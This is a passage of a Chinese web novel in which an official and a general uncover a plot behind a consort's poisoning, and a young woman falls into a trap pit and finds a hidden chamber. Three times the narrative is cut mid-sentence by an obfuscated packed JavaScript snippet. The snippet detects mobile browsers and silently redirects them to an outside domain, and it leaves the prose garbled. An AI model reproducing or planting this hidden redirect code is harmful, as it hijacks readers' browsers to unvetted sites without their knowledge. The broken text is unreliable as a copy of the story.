江鱼一步当先跨进门槛，闻言咧嘴得意道：“七八日？那可等不起！我们改了章程，三班轮换，人歇马换车不停，昼夜兼程往回赶。连住宿的花费都省了。” 她拇指朝后指了指那两位几乎瘫软的长辈：“就是苦了两位保镖大叔。” 燕风一噎，决定还是不要告诉她那两位的真实身份。 江鱼豪气干云地说完，才发现家里满院子的人。脸上那点飞扬的神气瞬间消散，整个人‘嗖’地一下缩到了燕风背后，只露出小半张脸，细声细气地飘出一句：“……表哥。” 燕风干咳两声，抬手拍了拍她揪着自己袖子的手，对众人道：“见笑，我这妹子……有点认生。” 她转向江鱼，“别怕，都是自己人，你都见过的。这几位是我的同僚，暂住几日。” 随即又煞有介事对宗恂道：“宗将军，这是我表妹江鱼。至于这两位，是我妹子这些日子雇的镖师。这位是罗叔，这位是迟叔。” 燕风朝罗、迟二人飞快地眨了眨眼：“两位镖师一路辛苦了，若不嫌弃，不如也在寒舍歇息几日再走？” 罗同接收到燕风的眼神，哑声道：“……那就叨扰了。”迟三则闭了眼，把一声叹息咽回去，认命般拱了拱手。 江鱼是个适应力极强的，桌子上坐一会儿便恢复了往日的活泼。只是等饭菜上桌，看到那盘最显眼的清蒸鸡块时，她眉头蹙了起来：“哎，这是哪家铺子买的鸡崽？瞧着还没长足肉呢，这么小就宰了，真是作孽……” 燕风眼皮猛地跳了一下，忙不迭截住话头：“咳，阿鱼，有件喜事忘了说。圣上恩典，我此番升了职，连带着他们几个也都跟着沾光，各有升迁。” “真的？”江鱼眼睛一亮，“恭喜表哥！表哥的仕途顺遂，可见这京城果然是风水宝地，难怪人人都想挤进来搏个前程呢！” 她说着，目光扫过罗同与迟三，语气变得分外热络体贴，“对了表哥，你们北镇抚司衙门里还缺人不？你看罗叔和迟叔，身手可好了！这一路上多亏了他们，风餐露宿的，实在辛苦。我看镖师这行当也太奔波，不如……” 她话还没说完，旁边一直沉默扒饭的迟三，连拿着筷子的手都开始发抖，只觉得平生从未受过此等大辱——被这有眼无珠的小丫头当成走镖的粗汉也就罢了，听这口气，竟还要把他荐去北镇抚司打杂？ 这，这也太瞧不起人了！ 燕风在一旁看得分明，只觉得额角隐隐作痛，赶紧在桌下轻轻踢了江鱼一脚。她面上还得维持着笑容，含糊道：“这个……北镇抚司人事调派，自有章程，日后再说。两位镖师一路劳顿，先好生歇息才是正理。来，大家吃饭。” 恰在这当口，厨房门帘一掀，一股格外诱人的焦香混着葱油气息扑面而来。只见陈青端着一大盘刚出锅的葱饼走了出来。 江鱼惊喜道：“好香！青哥，这是你烙的？没想到你还有这一手！” 陈青局促地笑了笑，将饼盘放在桌子中央：“胡乱做的，江姑娘不嫌弃就好。” 一顿饭用完，碗碟撤下，众人各自安顿。 燕风这宅子虽大，但一时收拾不开，眼下恰好有五间能住人的屋子。九个人分派下来，多是两人一间：杨胜与严炳安凑在一处，白砚生与陈青一同，罗同和迟三两位‘镖师’共用一间。剩下的，宗恂是贵客，便独自住了一间厢房。燕风则与江鱼同住她自己的房间。 洗漱完毕，江鱼和燕风隔着一道素绢屏风，各自躺在自己的小榻上。 燕风侧着面朝屏风，挑拣着能说的，将这几日自己在京中的遭遇，以及眼下这案子的棘手之处，都告诉了江鱼。最后她叮嘱道：“事情未明之前，阿鱼，这几日你尽量待在家中，莫要随意出门。我会请迟叔陪着你。” 那侧，江鱼安静地听着，待燕风说完，她才轻轻吸了口气，担忧道：“竟然这般凶险。燕姐姐，你也太不容易了。你放心，我晓得分寸，绝不给你添乱。倒是你，自己千万要小心。” 燕风心中宽慰，又想起晚饭时那盘小鸡，有些歉疚，迟疑着开口：“还有一事对不住你。今日那鸡，其实是……” 话未说完，便被江鱼轻声打断了。她笑道：“害，我当是什么事呢。咱们认识这么久，你一个眼神，我就猜到七八分了。没事的，真的。” “你在外头出生入死，如今又担了这么大的干系，做了这么大的官。我帮不上你什么忙，只能在府里养些鸡鸭，种点菜蔬，说起来，倒怕给你丢了脸面。” 她翻了个身，准备睡了。“如今能派上用场，我心里其实很开心。燕姐姐，你不必觉得歉疚。咱俩之间，不说这些。” * 次日清晨，薄雾未散，鸟鸣初起。 燕风睁开眼，屏风另一侧的小榻已经空了。她起身，掩口打了个长长的哈欠，这才推门出去。 巧得很，隔壁厢房的门也同时被拉开。宗恂迈步出来，两人打了个照面。 燕风硬生生将涌到嘴边的第二个哈欠咽了回去，憋得眼眶都湿了几分。 “燕大人。” “宗将军。” 两人客气地打了个招呼，便一前一后朝着前院厨房的方向走去。 前院里已很是热闹了。 杨胜、严炳安与白砚生三人正在晨练。天气已带了些秋凉，杨胜却打着赤膊，紧绷的肌肉在晨光下泛着健康的油亮，颇为赏心悦目。 宗恂看了一眼，眉头微蹙。 院子那棵老槐树下，罗同与迟三也已起身在活动，两人眼下都带着淡淡的青影。见燕风与宗恂过来，几人先后停下动 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485591|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作问好。 燕风笑眯眯地一一应了，正待说话，厨房门帘一掀，江鱼端着盛满清粥的陶盆走了出来，身后跟着端着一碟咸菜和一堆煮鸡蛋的陈青。 “表哥，早！” 众人围坐桌旁。燕风与宗恂又当着众人的面，客气而疏离地谦让了一回主位，方才依次落座。院中气氛一时有些尴尬，燕风有意挑起话头：“今早都备了些什么？” 江鱼边分着粥，边应道：“吃鸡蛋。这些日攒下的鸡蛋不少，多亏淑瑶姐心细，都帮我收在鸡舍边上了。就是米面快见底了，只够凑合煮点稀粥。” 燕风点点头，咽下一口粥，很自然地接话道：“既如此，你今日便出门采买些吧，多备些存着，顺便替砚生跑一趟，去看看淑瑶，好好谢谢人家。记得带些东西去，别空着手。迟叔，劳烦您陪着阿鱼。” 迟三面无表情地点了点头。 江鱼却微微一怔——昨晚不是还嘱咐她尽量待在家里么？她想了想，面上也应道：“好，迟叔，一会儿就麻烦您了。” “燕大人，今日我们作何安排？”却是宗恂的声音。 桌上众人虽仍低头喝着粥，耳朵却都不约而同地竖了起来。 “先去刑部，找洪茂洪大人说说话。”燕风淡淡道。 饭毕，众人准备出门。正待上马时，燕风却忽然开口：“晨间静谧，这许多人一齐策马，动静未免太大，恐要扰民。今日不赶时辰，去早了，洪大人也未必到。不如乘车吧。” 她目光转向那辆，江鱼等人昨夜带回来的青篷牛车。 “租赁行与刑部相距不远，正好顺路将车还了。” 众人自然无异议。 燕风与宗恂策马在前，陈青执鞭驾车在后。那车原是拉货的牛车改制，厢体虽比寻常马车宽敞些，可杨胜、白砚生、严炳安加上一个罗同，四个成年男子挤坐进去，仍显得颇为局促。一路颠簸，车厢摇晃，几人难免肩膝相碰。 罗同靠着厢壁，双目微阖，似在补觉。其余三人则有些不自在了，各自望着别处。 好容易挨到刑部门前，车刚停稳，杨胜三人便如蒙大赦般一骨碌跳下车来，活动着发麻的四肢。罗同这才睁眼，挪到车辕上，像一个寻常又疲惫的中年人，要去租赁行还车去。 “罗叔且慢。”燕风却叫住了他。 她翻身下马，从怀中掏出一个小布囊，上前道：“租赁行的老板看司里的面子，定金收得薄。这一趟阿鱼没少折腾，本就过意不去，总不好再让您垫钱。” 罗同接过，在手里掂了掂，粗糙的手指探进去摸索片刻，竟又摸出几个铜板递还回来：“多了。” “应当的，您这一路辛苦。” “用不了这许多。” “剩下您拿着吃茶。” “使不得。” 两人你来我往，推让了几个回合。最终还是罗同拗不过，将那布囊揣入怀中，这才驾着车，慢悠悠朝租赁行的方向去了。 “不过就几个铜板……” 刑部门口值守的一个衙役忍不住与同伴嘟囔。话没说完，便觉几道不善的目光刺来。 那衙役喉头一哽，立刻低下头，缩了缩脖子，再不敢出声。 86. 再访 一行人这才进了刑部大门。 因着门口这点小小的耽搁，里头得了消息，洪茂已匆匆赶了出来。他正待拱手寒暄，却一眼看到了宗恂。 短暂的发愣后，洪大人像被注入了某种滚烫的情绪，笑容的弧度骤然放大，透着一股燕风从未曾领略过的、近乎灼人的谄媚。 “宗将军！稀客，稀客啊！什么风把您给吹到咱们这刑部来了？下官有失远迎，恕罪恕罪！将军风采更胜往昔，真是……” 一串吉祥话如同开了闸的河水，眼看就要滔滔不绝。燕风忙上前一步，打断道：“停，停。洪大人，闲话稍后再叙。今日来，是有正事。” 洪大人脸上笑容丝毫未减，连连点头：“是，是，正事要紧，正事要紧。宗将军，燕大人，快请里面叙话！” 值房里，燕风开门见山：“洪大人，刑部大牢里，三皇子案中拘押的那些叛军，可否带我见见？” 洪茂显然始料未及，他干笑两声，眼神却飘忽着：“燕大人说的，下官有些听不明白啊。” 燕风盯着他：“怎么？人不在这刑部大牢？难道是关在我北镇抚司了？怕是我未老先衰，老眼昏花，自己竟不知道。” “燕大人哪里的话。”洪茂陪笑，“下官……想起来了。原先确是收押了一些，但后来细查，罪责轻的，该放的也就放了。剩下那几个罪大恶极的。唉，也不知是自觉无颜面对君父，还是惧怕严惩累及亲族，竟都在狱中自裁了。如今刑部大牢里，确然是一个相关的也没了。” “自裁？” 燕风微愣：“自裁了几个？” “这个……好像……约莫有四五个吧。其实细想，这也算情理之中。朝廷待他们素来不薄，他们一时行差踏错，险些酿成泼天大祸，心中愧疚难当，更怕祸延家人，一时想不开，也是……自然的事。”他又开始那套四平八稳的说辞。 燕风失了耐心，又一次打断：“此案主审，是刑部的哪位大人？” “这……” 洪茂脸上的为难更重，支支吾吾：“此案干系重大，涉及皇子，审理过程……多有不便透露之处。主审之人嘛，自然是……” 他“自然”了半天，也没自然出个名字来。 就在这尴尬的当口，自进门后便静立一旁的宗恂忽然开了口。这是他今日踏入刑部后说的第一句话。 “不是刑部的某位大人。是锦衣卫指挥使，李芳贤李大人吧。” 洪茂肉眼可见地轻松了些，像是肩膀上卸下了个沉重的担子。 “宗将军是如何得知的？此事知晓的人可不多。” 宗恂笑了笑：“猜的。” 锦衣卫指挥使李芳贤是个‘极好相与的好人’，这是朝中上下皆公认的事。 但仔细想来，这评价多少有些浮于表面。毕竟坏脾气是失意者的铠甲，而顺风船上的人，自然无须这般硬刺。任谁坐到李大人如今的位置，大抵都能有个好脾气。更何况李大人相处久了，其实偶尔也能见出几分棱角。 这个评价的由来，主要还是因为李大人虽然占着朝中按理说最令百官胆战的位置，却终日只是安心做一个钓鱼佬。 而他之所以还能稳坐此位，倚仗有且仅有一个——皇帝。 当年今上北狩，正是这位老好人，凭着一腔忠勇寸步不退护在御前。待皇帝重掌乾坤，这份患难之情，便化作了无人可撼的信重。若此案由他主审，背后之意，不言自明。 燕风从值房里出来，朝宗恂苦笑了笑：“看来不必再查了。” 宗恂赞同点头。 燕风回头瞥了一眼——四下无人，洪茂已借口事忙离开。她低声叹道：“我忽然明白了一些事。陪我再走一处吧。”说罢举步便走。 宗恂自然地握住她手腕：“杨胜他们还在前厅，不一同叫上？” “又是一件麻烦事。”燕风皱眉，“让他们吃刑部的饭吧，咱们悄悄走。” 宗恂摇了摇头，脸上却露出了笑。真拿她没办法。 将至衙门口，却见罗同已候在那儿。他见两人出来，淡淡道：“来时坐车，归路不知如何走了。” 燕风道：“无妨，你随我们一趟。” 她对一旁衙役交代：“本官有急事须处置，劳烦转告我几位属下，请他们自行回北镇抚司。” 三人快步离开衙门，经过一条僻静窄巷。 宗恂轻声问：“是谁？” 燕风低低说了一个姓氏。 原来他们昨夜商定，今日要借罗同读心之能，探出下属中暗藏的内鬼。 早上刑部衙门口的那几个铜板的推让，便是燕风和罗同提前商量好的传递信息的暗号。 罗同接过话：“其中尚有内情，一言难尽，今夜再细说。此刻是去哪？” 燕风道：“徐府。我还想再见一次徐公子。” * 徐府门前。 应门的男人并非昨日那位徐诚管事，却仍认得他们。那人恭敬行礼道：“原是燕大人与宗将军，快请进。还请两位先至花厅稍候，小人这便去禀告大少爷。” 宗恂：“有劳管事。” 燕风微讶：“你认得？” 宗恂道：“我的祖母是徐老太爷胞妹。幼时曾来过几回，难为管事还记得。” 眼前这位徐管事是个沉稳的中年人。他嘴上说着惶恐，语气却不卑不亢：“宗将军折煞小人了。将军龙章凤姿，任谁见过一次都不会忘的，倒是将军竟还记得小人，小人实在受宠若惊。” 燕风这才想起，昨日洪茂确曾提过，当今太后亦出自徐家。 她问道：“管事如何称呼？昨日的徐诚管事怎的不见？” “小人徐忠。徐诚管事抱恙，故而今日告假休养。” 燕风又问：“二位管事想必事务繁杂，应门这等小事，交由底下人便是。怎的我次次来，偏都遇上管事亲迎？” 徐忠从容应道：“大人言重了。府中主子宽厚，待下人多有体恤，平日并不劳累。今日也是凑巧，正与守门的小子闲话几句，恰逢两位大人叩门。” 他身侧果然跟着个年轻小厮，低眉顺眼，模样生嫩。 燕风点了点头，不再多言。 花厅内，徐维翰匆匆赶来，他仍拄着拐杖，脸色又比昨日苍白了许多。他边咳边道：“燕大人，宗将军，恕罪恕罪，今日晨起便觉身上不妥，有劳两位久候了。” “大公子快坐下，身子要紧。方才听管事提起，府上的徐诚管事也病了。近来天气转凉，确需仔细将养。” 燕风起身，亲自引他落座，又道：“对了，记得大公子还有一位小妹？府中骤逢变故，令尊又远在外任，大公子为兄长，想必更要费心照拂妹妹才是。” 徐维翰不知她为何突然提及小妹，只谨慎地点了点头，并未接话。 燕风却似寻到了话头，饶有兴致继续说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485592|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ：“说起来，令妹我竟有缘见过一面。与大公子年岁似乎相差不少，仍是孩童心性，平日想必颇为活泼，不好管教吧？” 这话便有些逾矩了。 徐维翰脸色不快，硬邦邦道：“燕大人恕罪。小妹虽年幼，终究是徐家闺阁女子。大人身为外男，如此议论恐有损小妹清誉，还请慎言。” 燕风笑道：“大公子此言差矣。你怎不问问，我一介外男，是如何得见你徐家深闺之中、素来娇养的小姐的？” 徐维翰抿紧了嘴唇，连握着拐杖的手指都微微发抖。 燕风笑了两声：“大公子别紧张，不过一句玩笑。其实也非什么了不得的场合，便是年初那场赏梅宴，京中闺秀几乎尽数前往。燕某恰好负责彼时守卫，这才远远瞧见过令妹一面。” “大公子总该记得吧？就是那场宴上，五公主并一名侍女，不幸殒于虎口。在下为护七公主周全，也受了伤，将养了许久……” 她语气渐渐沉了下去，目光始终不离徐维翰。 徐维翰咽了口水，低低吐出一句：“……自然记得。” “我记得，那时大公子与五公主尚有婚约在身。令妹大约出于好奇，竟扮作叔母的丫鬟，混入了那宴。还因此惹了些小插曲。只是后来五公主骤然出事，那点小风波，也就无人再提了。再后来，五公主的案子移交刑部洪大人主理，至今……似乎也没个结果。” 徐维翰脸色骤然一变：“燕大人此言何意？莫非是怀疑我家小妹？且不说小妹本性纯良，她今年方满十二岁，何来能耐做出此等骇人之事！” “大公子误会了，”燕风笑容未减，眼底却无甚温度。 “我可从未这般说过。不过，案发之时，燕某恰在现场，故而比旁人多知道些东西。” “那个与五公主一同葬身虎口的婢女，名唤巧杏，我曾去查过她的底细。查起来可真费劲，绕了一大圈，才知她虽父母双亡，竟还有个年幼的妹妹。只是那孩子，却如人间蒸发一般，我怎么也寻不到。按理说却不该如此：姐姐是公主府上有头脸的侍女，妹妹又是唯一的血亲，纵使不能大富大贵，又何至于消失得无影无踪？” 她微微倾身，注视着徐维翰苍白的脸：“后来，我忽然想起，徐家那位在赏梅宴上出了风头的小姐，年纪似乎正相仿。于是我抱着试试看的心思便查了查。没想到，在贵府小姐的院子里，我竟真找到了那孩子。” “如今，她还是令妹身边一名贴身的婢女呢。” 短暂的沉默后，徐维翰脸上反倒显出一种奇异的沉静。 “燕大人，请恕在下愚钝，实在不解您言下之意。姐妹二人各在京城府邸为婢，听来亦是常事。” “是很平常。”燕风目光灼灼，“但若涉及某位特定的婢女，事情便大大不同了。至于那位婢女具体做过何事，我相信，徐公子与我，心里都很清楚。” 徐维翰的目光缓缓落向一旁沉默的宗恂。他的嘴角牵起一丝自嘲笑意，终是再未发一语。 “徐公子，”燕风淡淡道：“不想再说些什么了？” “匹夫无罪，怀璧其罪。” 徐维翰闭上了眼：“多言何益。” 燕风眉梢微动，话至嘴边却忽地收住。她忽然转向花厅角落那面紫檀屏风。 下一息，一人自屏风后踉跄步出。 那个人双目通红，死死盯住燕风，却是传闻中那个懦弱怕事的当朝太子。 87. 囚徒 “为什么？为什么一定要赶尽杀绝？” 徐维翰急声欲阻：“殿下——！” 太子好似用了些酒，浓重的酒气随着他激动的呼吸扑面而来。他猛地抬手指向燕风，胸膛剧烈起伏，一连串压抑已久的怒骂倾泻而出。 “朝廷鹰犬！走狗！你们这些……这些为虎作伥，助纣为虐的东西！” 他言辞激烈，却终究受限于自幼浸润的教养，翻来覆去不过那几句，仿佛连宣泄都不得其法。骂到后来，仿佛气力用尽。他弯下腰，大口喘着粗气，额发凌乱地贴在苍白的额角。 燕风沉默着，只是静静望着他。 待他喘息稍定，抬眼见对方依旧那副无动于衷的模样，情绪骤然崩塌。混着绝望与愤恨，他忽然又低低笑了起来： “你很得意，是不是？你以为替他除掉我，便是大功一件？” 他踉跄半步，盯着燕风，一字一顿。 “可你怎知，他日兔死狗烹，他又会如何待你？” 话语颠三倒四，燕风却立刻听懂了那个‘他’是谁。她目光沉静：“我知他要除你。但这与徐家何干？” 太子清秀的脸上骤然浮现一个恶劣的笑：“你想知道？好，我告诉你！” “你以为老三他们为何非要与徐家联姻？因为徐家握着他们的把柄！那把柄是我的母后……” “她根本不是伤心过度而死！” 他眼中迸出刻骨的恨意：“她是被老三的人毒死的啊！他们把那穿肠腐骨的毒药强灌给她，就眼睁睁看着她……痛极挣扎，然后一点、一点……断了气。” 他已经泪流满面。 “可这一切，被徐维闵撞见了！老三的人不认识他，却知道他是徐家人！维闵那时才多大？他吓坏了，回去告诉了他父亲，结果换来的是却近三年的软禁和折磨！后来他疯了，杀了所有折磨过他的所谓至亲，然后跑去告诉了皇帝这个秘密……” 太子说到这里，竟咯咯笑了起来。 “你猜怎样？他早就知道！但他从来什么也不做，却转头就杀了维闵灭口。可怜的老三，还以为东窗事发，仓促起事，结果被他亲爹派去的人……剁成了一块一块！哈哈……哈哈哈！” 真相大白。 太子眼中的狂潮渐渐退去，酒意散去，只余下一片荒芜的死寂。 他看向燕风，语气又恢复了平静： “我活不成了。但你听了不该听的，也活不了。放过维翰，或许我死前懒得再咬你一口。” “说不定，你还能有条生路。” 燕风神色未动：“殿下开出的条件倒有几分诱人，只是空口无凭，叫我如何敢信？” 她略一顿，轻声问道，“若我不应呢？” 太子垂下眼，吐出两个字：“徐忠。” 阴影中，方才引路的那位中年人徐忠悄然上前。他自袖中滑出一柄短匕，却只躬身静立，如一把待发弓弩，静待吩咐。 燕风瞥了他一眼：“原来如此。那解决了我之后呢？” 她目光扫过身侧的宗恂与罗同，“殿下要将这屋里的人，都灭口么？” 太子脸上掠过一丝痛楚，沉默片刻，才低哑道：“你以为……人人都与你一般，生着副铁石心肠？” “哦？”燕风挑眉，“那便是不杀了。是知道些什么，所以心有戚戚？还是……自觉有愧？” 太子呼吸陡然急促，闭目喝道：“徐忠！” “是。”徐忠腕间微转，冷光乍现。 “慢着！” 徐维翰陡然出声。 他看向太子，哑声道：“殿下，此事或许尚有内情未明。” “燕大人，你似乎早知殿下在此。这是为何？” “是。” 燕风坦然应道，“自踏入花厅，我便知屏风后有人；细听呼吸吐纳，便知是太子殿下。” 她视线落回太子那张苍白的脸上，“但我真正意外的，是殿下竟愿为你，做到这个地步。” “太子殿下，往后万不可再如此冲动了。幸而今日倒也无妨。巧得很，这满朝上下，能听您说这番话的人，此刻都在这里了。” 这次，她的笑意真切地落进眼底： “其实，我倒颇欣赏这份冲动。对常人而言，或是引祸之源，可于一位将来要御极天下的帝王而言。” “真是难能可贵。” * 与此同时，燕宅。 江鱼吃完早饭便忙着收拾去白淑瑶那儿串门的礼。她翻箱倒柜，桌上渐渐堆起小山。迟三抱着手臂靠在门边，终于看不过眼：“不过隔两条街，你是要把半个家搬过去？” 江鱼头也不抬，手上利落地系着包裹：“迟叔，这都是给淑瑶的。出远门回来，空手上门像什么话？” “路上也没见你专门停过车、买过东西。”迟三嘀咕。 江鱼终于打好最后一个结，拍拍手直起身，“虽然都不是什么值钱的，但礼轻情意重。” 迟三摇摇头，没再说什么，只顺手替她拎了两个包裹。 白家小院不远，没一会儿便到了。 门虚掩着，江鱼唤了一声：“淑瑶？” 无人应答。 她轻轻一推，门“吱呀”开了条缝。 两人对视一眼，江鱼有些不安：“不会出什么事吧？”说着便要往里走。 迟三伸手拦在她身前：“跟紧我。” 院子里静得出奇。院里一棵大树枝叶蓊郁，阳光漏下斑驳碎影。江鱼抬头，隐约看见高处的枝桠间挂着什么，颜色暗沉，随风轻晃。 “迟叔，你看树上——” 迟三向前迈了半步，正要细看。脚下青砖忽地传来一声极轻微的“咔”声。 “退！” 迟三脸色骤变，回身猛拽江鱼。 却已迟了。 地面瞬间塌陷，砖石翻裂，尘土飞扬。两人脚下一空，直直向下坠去。黑暗吞没视线前，江鱼最后看见的，是头顶迅速缩成一方惨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17485593|201982||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白光斑的洞口。 原来这院落静静，是请君入瓮。 好在这坑底除了松软的腐土与枯草，并无其他歹毒布置。饶是如此，迟三落地时仍闷哼一声——一半是疼，一半是怒。想他行走江湖多年，竟在这阴沟里栽了跟头，简直是奇耻大辱。 江鱼揉了揉钝痛的腰背，摸索着站起来：“迟叔，你还好么？” “无妨。”迟三的声音在黑暗里有些发闷。 窸窸窣窣一阵响动，是江鱼在身上摸索。紧接着，“咔嚓”一声轻响，黑暗中迸出几点火星——她竟摸出了火石！ 迟三讶然：“你身上怎么什么都有？” “出门在外，总得备着些。”江鱼有些歉然。 她又借着那点微弱的光，在散落一地的包裹里翻找片刻，竟翻出一截粗短的木棍和些许布条。几下捆扎，火石再擦，一朵温黄的火苗便颤巍巍亮了起来，映亮了她沾满灰土的脸。 “对不住，”她举着简陋的火把，“方才若不是为了拉我，迟叔你或许能躲开。” “也怪我，”迟三郁闷道，“是这些年松懈了，今日竟如此轻敌。” 他抬头望向那方小小的洞口，“让我看看如何出去。这机关……着实厉害，外面一点看不出异常。” 借着火光，两人仔细打量坑壁。迟三眼尖，发现高处一块石板边缘的缝隙似乎更大些。他示意江鱼举高火把，自己则伸手抵住石板用力上推。 石板沉重异常，只发出沉闷的摩擦声，移动了寸许便卡住。他调整姿势，用肩膀顶住，再次发力，额角青筋微现，石板才艰难地滑开一道窄缝。 “快来帮忙！”迟三低喝。 江鱼连忙将火把插在一旁土缝中，上前合力。 两人肩背相抵，拼尽全力，那石板终于被向上顶开一个勉强容身的缺口，一股凉气透了进来。 “成了！”江鱼喘着气，欣喜道。 但石板显然带着机簧，一松力便有沉沉下压之势，需得始终用力支撑才能保持开启。迟三用肩膀死死抵住石板：“这石板撑不住多久。我先上去，在外头想办法拉你出来，或找东西卡住它。你小心。” 江鱼明白这已是最可行的法子了。她点头：“好，迟叔小心。” 迟三深吸一口气，在江鱼协助稳住石板的瞬间，敏捷地侧身从那窄缝中钻了出去。 他的身影和外面微弱的天光一闪而过。几乎就在他离开的同时，那沉重的石板发出一声闷响，失去了对抗的力量，猛地向下回落。 江鱼早有准备，立刻上前用尽全身力气向上推顶。可这石板远非她一人所能抗衡。方才两人合力尚且艰难，此刻她只觉得双臂剧震，石板沉甸甸地压将下来，无论她如何咬牙发力，缝隙仍在一寸寸迅速缩小 最后“咔哒”一声闷响，石板严丝合缝地恢复了原状，将她重新封闭在黑暗之中。 只有插在地上的那支小小火把，兀自燃烧着，将她的影子长长地投在冰冷的坑壁上。 88. 蝉蜕 地面上，迟三刚稳住身形，一股极淡的冷香便飘入鼻端。 他心中一凛，猛然抬头。不远处的回廊阴影下，静立着一个女子。 那女子穿着素净的常服，并无多余珠翠，只那般站着，便像一尊精心雕琢的玉像被移到了这简陋的庭院里。阳光斜斜照过她半边脸颊，她的肌肤莹白得近乎透明，眉眼间是一种浑然天成、令人屏息的美。无须任何证明，这通身的气度与近乎传奇的容颜，已让迟三瞬间猜出了她的身份。 福瑛长公主。 迟三浑身肌肉绷紧，视线迅速扫过四周屋檐、树影、廊柱。这等贵人出行，明里暗里的护卫绝不会少。 然而，四周一片寂静，风中只有树叶的沙响。至少此刻，他心想，若自己暴起发难，在这来得及阻止的距离内，空无一人。 这发现让他心里有了些底气。他向前一步，语气里带着火气。 “是你设的陷阱？何意？” 福瑛长公主并未因他无礼的质问而动怒。她的目光平静地落在他身上，开口却是全然无关的话： “你就是迟三，单家的家主。” 迟三瞪大了双眼，周身气息瞬间变得锐利。他背在身后的手，指节悄悄地活动了一下，缓解着方才顶开石板时遗留的酸痛，随时准备发力。 “你怎么知道的？”他行走在外，‘迟三’不过是化名，而身份甚至那个真实的姓氏，却是绝对的秘密。 福瑛长公主唇边掠过一丝弧度，这笑容奇妙地缓和了她美貌所带来的疏离感。 “你别紧张。”她平和道，“我知道的，或许比你以为的，还要多上一些。但我并无恶意。否则，你此刻所见，便不会是我独自在此。” 她目光沉静地迎着他：“我来此，是想，或许我们可以合作。” * 江鱼抱膝坐在黑暗里，心一点点往下沉。 迟叔上去已有一段时间，头顶那方石板却纹丝未动，外头亦无任何声响。为节省那截宝贵的火把，她早已将火光熄灭，仔细收回了行囊。 迟叔怕是遇着了麻烦，不能再这样等下去。她对自己说。 站起身，她开始在四周墙壁上摸索。指尖一寸寸抚过冰冷粗糙的石面，又曲指叩击，侧耳细听回响。大部分地方都是沉闷的实音，直到转到背阴的一角，指尖触到的感觉突然截然不同——不再是坚硬石板，触手处带着微潮的土腥气。用力按压，竟有隐约的松软。 是土层。未用石板加固，只是夯实垒砌的土墙！ 希望如星火腾起。她立刻返身，凭借已适应黑暗环境的双眼和洞口透下的极其微弱的光，在散落的包裹中急切翻找。 找到了！ 那柄她自己削磨的小木铲。巴掌大小，不甚锋利，却厚实趁手。那本是见路边捡的木头好看，想着白淑瑶打理鸡舍时可能会用得到，便在赶车途中随手削来送她的小玩意儿。 而此刻，它是她唯一的工具。 她用布条缠紧左手以作护垫，右手牢牢握住木铲，对准那松软处，两手合力，奋力挖下。泥土远比料想中板结，每一铲都需竭尽全力。 土块簌簌崩落，在脚边渐渐堆积成丘。死寂的黑暗里，只剩下她粗重的喘息、木铲破土的闷响，以及沙土滑落的细碎声响。她不敢停，只凭着一股心气支撑，机械地重复着挖掘的动作。 时间似乎凝滞，又或许流逝飞快。 终于，铲头猛地向前一送，阻力骤消——挖通了！ 然而预想中的天光或新鲜空气并未大量涌入，眼前依旧是浓稠的黑暗，但确有一股微弱而稳定的气流，从前方更幽深的所在缓缓涌来。 江鱼小心地扩大洞口，伸手向前摸索。触手所及，是粗糙但坚硬的石壁，而非土壤。 看来此处并非通向外界。自己只是挖穿了间隔，进入了另一条被掩藏起来的狭窄通道。这陷阱竟与它如此之近，仅以一堵土墙相隔。 没什么好犹豫的。她迅速将散落的东西塞回包裹背好，深吸一口气，从刚挖出的孔洞中钻了过去。 通道低矮，必须猫着腰才能前行。她在黑暗中仔细回想宅院的方位，选了记忆中应是朝家的那一头，摸索着石壁，一步一步向前挪去。 走了约莫几十丈，前方黑暗的浓度似乎淡了一些，空间也陡然开阔。她试探着直起身，发现自己站在一个像个房间一样的石室入口。石室上方有个透气的孔洞，光亮便从那里透出来。 石室中央，赫然立着一张简陋的石床。而床上，躺着一个人影，一动不动。 江鱼的心骤然揪紧：这人是死是活？ 她屏住呼吸，僵在原地，冷汗悄然浸湿了后背。 过了好一会儿，不见任何动静，她终于鼓起莫大的勇气，蹑手蹑脚地挪到床边。借着孔洞漏下的那一缕惨淡微光，她颤抖着，一点点俯身，朝那人脸上望去。 待看清那张面容的瞬间，江鱼如遭雷击，猛地捂住自己的嘴，才将那声惊骇的抽气堵在喉间。 她满眼尽是骇然。 * 陈青几人自刑部衙门出来后，便回了北镇抚司等燕风示下。 左等右等，日头渐西，始终不见人影。偏生那裴千户又晃悠过来，围着他们打转，话里话外总想套问些什么，扰得人不胜其烦。好容易捱到下值的时辰，燕风依旧未归。几人互看一眼，便打算先回燕宅候着。 